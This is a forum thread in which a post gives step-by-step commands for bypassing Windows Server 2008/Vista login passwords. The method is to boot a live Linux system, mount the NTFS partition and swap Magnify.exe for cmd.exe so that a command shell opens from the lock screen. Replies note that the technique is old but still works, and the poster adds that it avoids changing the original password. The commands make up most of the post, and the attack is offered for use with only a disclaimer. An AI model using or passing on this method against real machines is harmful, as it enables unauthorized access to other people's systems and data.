[Bypassing Windows server 2008 / Vista password protection]
Just to shake this forum a little bit. This is a tutorial on how to bypass Windows server 2008 / Vista password protection.

Let's begin.
What you need is a bootable live Linux distribution that supports NTFS-3G driver (NTFS-3G is a cross platform implementation of the Windows NTFS file system that supports read/write capabilities).

//Checking the NTFS Windows partition (eg. /dev/sda1)
fdisk -l | grep NTFS

//Creating the directory where we want to mount Windows
mkdir -p /mnt/windows

//Mounting Windows
mount -t ntfs-3g /dev/sda1 /mnt/windows

//Replace Magnify.exe with cmd.exe (Magnify.exe tool can be found on the password protection screen under Ease of Access options)
cd /mnt/windows/
cd Windows/system32/

mv Magnify.exe Magnify.bck
cp cmd.exe Magnify.exe

//We restart the machine

Use this under your own responsibility.

eh erm isnt this a bit old?
as far as i remember we used to use the same mechanism on windows XP machines.
Actually, a few years back (5-6) there was a bootable CD where everything was automated
and it removed the admin pass altogether then rebooted.

The technique is old? Maybe.
The funny thing is that the old technique still pwns new products! ^^
And bootable CDs exists with each version of Windows OS. But sometimes you can't use them since you don't want to change the original password.
